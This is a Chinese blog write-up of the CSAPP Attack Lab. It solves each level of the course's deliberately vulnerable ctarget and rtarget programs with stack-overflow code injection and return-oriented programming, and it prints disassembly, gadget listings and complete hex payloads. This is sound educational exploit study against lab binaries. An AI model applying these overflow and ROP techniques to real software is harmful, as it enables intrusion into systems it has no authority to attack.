前言

Attack Lab 对应 CSAPP 第三章讲汇编和程序运行时栈的部分,这个 Lab 旨在向我们介绍简单的栈溢出攻击方式

题目给了我们一份 writeup、两道题目 ctarget 和 rtarget、未编译的 gadget 列表 farm.c 和 字节码转字符串程序 hex2raw
其中,题目会给 CMU 的服务器上传成绩,非 CMU 的自学者运行程序前需要加上参数 -q 取消上传;如果想要使用文件代替输入,则需要加上参数 -i
整个 Lab 只需要跟随 writeup 的引导一步步做即可

Attack Lab

ctarget

ctarget 的学习内容是代码注入(code injection)

Level 1

Level 1 要求我们利用 test 函数内的 getbuf 函数的溢出漏洞使之返回到 touch1 函数(0x4017c0)

<test>

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret    

<getbuf>

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

不难看出 getbuf 的缓冲区长度是 0x28,并且没有保存 rbp、没有 check canary(程序开了 canary),所以直接覆盖 retn addr 即可

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
$ ./hex2raw < c1.txt > 1c.txt
$ ./ctarget -qi 1c.txt

Level 2

Level 2 要求我们返回到 touch2(0x4017ec),若成功调用并且传入参数等于我们的 cookie 即为成功
同时 writeup 要求我们不使用 jmp 和 call 指令

<touch2>

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie)
    {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }
    else
    {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

x64 下调用函数的第一个参数存在 rdi 里,所以我们构造一段传参并返回到 touch2 的代码,并让 test 返回到栈里执行这段代码即可

首先先获得执行代码的机器码

movq	$0x59b997fa, %rdi
pushq	$0x4017ec
ret
$ gcc -c c2_code.s
$ objdump -d c2_code.o > c2_code.asm
0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret   

然后 gdb 调试找栈地址(程序没开地址随机化)
在 getbuf 下断点看 rsp 就行了,找到是 0x5561dc78
(可能是环境问题,我的 gdb 无法正常调试程序,所以暂时先用别人的调试结果)

剩下操作跟 Level 1 一样

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

Level 3

Level 3 要求返回到 touch3,并通过其中的 hexmatch 函数
其中 hexmatch 函数比较一个十六进制值和被转换成十六进制值的字符串(比如:"deadbeef" 会被转换成 0xdeadbeef)

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval))
    {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    }
    else
    {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

比较苟的是,我们不能简单地把字符串存在注入的代码后面,因为中间几次调用的函数开头都 push 了一些值,而且 hexmatch 里 s 的存放地址做了随机化,如果我们将字符串存进缓冲区,将很有可能会被覆盖掉,所以最稳妥的办法就是存在原来的 retn addr 后面
最后还要记得补上字符串的结束符 \0

剩下的就和 Level 2 没什么区别了

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

rtarget

rtarget 的学习内容是 ROP

程序开了栈随机化和栈不可执行,所以我们也只能依赖 ROP 了
也开了 canary,不过好像也从来没校验过

首先先编译 farm.c 并查看里面的gadget
需要注意的是编译要加参数 -Og 关闭优化,否则会被编译器优化得面目全非

$ gcc -c -Og farm.c
$ objdump -d farm.o > farm.asm

writeup 里还给了我们一张指令的机器码表

Level 2

用 ROP 把 上一个 Level 2 做一遍,前提是只能使用 x64 的前八个寄存器和 gadget farm 里的 gadget
writeup 提示我们仅需使用两个 gadget,且都在 start_farm 和 mid_farm 之间(都可以在 rtarget 内找到一样的片段)

0000000000000000 <start_farm>:
   0:	f3 0f 1e fa          	endbr64 
   4:	b8 01 00 00 00       	mov    $0x1,%eax
   9:	c3                   	ret    

000000000000000a <getval_142>:
   a:	f3 0f 1e fa          	endbr64 
   e:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  13:	c3                   	ret    

0000000000000014 <addval_273>:
  14:	f3 0f 1e fa          	endbr64 
  18:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  1e:	c3                   	ret    

000000000000001f <addval_219>:
  1f:	f3 0f 1e fa          	endbr64 
  23:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  29:	c3                   	ret    

000000000000002a <setval_237>:
  2a:	f3 0f 1e fa          	endbr64 
  2e:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  34:	c3                   	ret    

0000000000000035 <setval_424>:
  35:	f3 0f 1e fa          	endbr64 
  39:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  3f:	c3                   	ret    

0000000000000040 <setval_470>:
  40:	f3 0f 1e fa          	endbr64 
  44:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4a:	c3                   	ret    

000000000000004b <setval_426>:
  4b:	f3 0f 1e fa          	endbr64 
  4f:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  55:	c3                   	ret    

0000000000000056 <getval_280>:
  56:	f3 0f 1e fa          	endbr64 
  5a:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  5f:	c3                   	ret    

0000000000000060 <mid_farm>:
  60:	f3 0f 1e fa          	endbr64 
  64:	b8 01 00 00 00       	mov    $0x1,%eax
  69:	c3                   	ret

我们要构造的代码需要有:将值传入 rdi,返回到 touch2
于是找到这两个 gadget

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	ret
  4019ab:	58	    		popq   %rax
  4019ac:	90			nop
  4019ad:	c3                   	ret
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret
  4019a2:	48 89 c7	    	movq   %rax,%rdi
  4019a5:	c3                   	ret

然后 payload 就出来了

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

Level 3

和 Level 2 一样,用 ROP 把 Level 3 做一遍

和上次不一样的是,这里开了栈随机化,所以我们只能求助于间接寻址,但是 gadget 中并没有 add 指令,所以我们应该利用 lea 指令,比如下面这个gadget

00000000004019d6 <add_xy>:
  6a:	f3 0f 1e fa          	endbr64 
  6e:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  72:	c3                   	ret

这里 rax = rdi + rsi
然后我们根据这个 gadget 构造 rdi 和 rsi 为 rsp 和偏移值,最后将 rax 传给 rdi(上个 Level 已找过)即可

然后来找传 rsp 的gadget,这里只找到传给 rax 的,比如这段

0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	ret
  401a06:	48 89 e0	    	movq   %rsp,%rax
  401a09:	c3                   	ret

然后也按照这个思路一步步耐心构造就完了,这里就不写完了(绝对不是因为懒)
最好画个栈图和流程图,防止做到一半脑子短路,贴张别人的

最后的 payload 如下

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61
00

至此,我们打通了这个 Lab

后记

只花了一晚上就搞完了,感觉难度不如……pwn 题(这不废话吗)
但其实还是有收获的,比如终于搞清楚 gadget 的本质了(丢脸)
似乎还有个 Buffer Lab,但好像除了多了个 nop sled 以外其他都大同小异,所以先不做了
后面的 Lab 就不会这么轻松了,感觉个个都要一周起步
下一个本应是涉及缓存和优化的 Cache Lab,但是我没怎么看四五六章,而后面涉及操作系统的内容我也并没有完全搞懂(目前在读 OSTEP 补基础,也是本很好的书),最后的并发编程和网络编程对此前毫无概念的我来说更是宛如天书,所以可能后面三个 Lab(Cache、Shell、Malloc)进度会混在一起、总结性的 Proxy Lab 就摆到最后做,所以下次关于 CSAPP Labs 的更新应该会比较久以后了